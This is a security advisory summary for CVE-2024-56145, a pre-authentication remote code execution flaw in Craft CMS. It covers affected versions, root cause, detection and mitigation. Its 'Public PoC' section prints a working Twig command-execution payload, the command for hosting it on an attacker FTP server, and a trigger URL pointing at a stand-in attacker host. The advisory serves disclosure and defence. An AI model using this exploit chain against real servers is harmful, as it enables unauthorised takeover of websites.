Craft CMS register_argc_argv Template Path RCE

Product: Pixel & Tonic Craft CMS
CVE: CVE-2024-56145
Disclosed: 2024-12-18
CVSS: 9.8
Auth: pre-auth
CISA KEV: yes
Affected: 3.0.0 - 3.9.13, 4.0.0-RC1 - 4.13.1, 5.0.0-RC1 - 5.5.1 (with register_argc_argv=On)
Fixed: 3.9.14, 4.13.2, 5.5.2

Summary

When PHP's register_argc_argv is enabled (the default in the official PHP Docker image), Craft read command-line style options from the query string of web requests. An attacker can pass --templatesPath pointing at a remote FTP server and have Craft render a malicious Twig template.

Root cause

Craft's bootstrap checked $_SERVER['argv'] for options like --templatesPath without confirming it was running under the CLI. With register_argc_argv, the query string populates argv, so ?--templatesPath=ftp://attacker/ makes Craft load templates over PHP's ftp:// wrapper, and Twig filters like sort('call_user_func') execute system commands.

Impact

Unauthenticated RCE on Craft installs running with register_argc_argv enabled; exploited in the wild.

Public PoC

# index.twig hosted on attacker FTP (python -m pyftpdlib -p 21212 -V)
{{ ['system', 'id'] | sort('call_user_func') | join('') }}

# trigger
http://target:8088/?--templatesPath=ftp://<evil-ip>:21212/

Source: vulhub / craftcms/CVE-2024-56145

Detection

Search logs for query strings beginning with '--' such as '?--templatesPath=' or '--configPath'. nuclei template CVE-2024-56145.

Mitigation

Upgrade to 3.9.14 / 4.13.2 / 5.5.2+, or set register_argc_argv=Off in php.ini.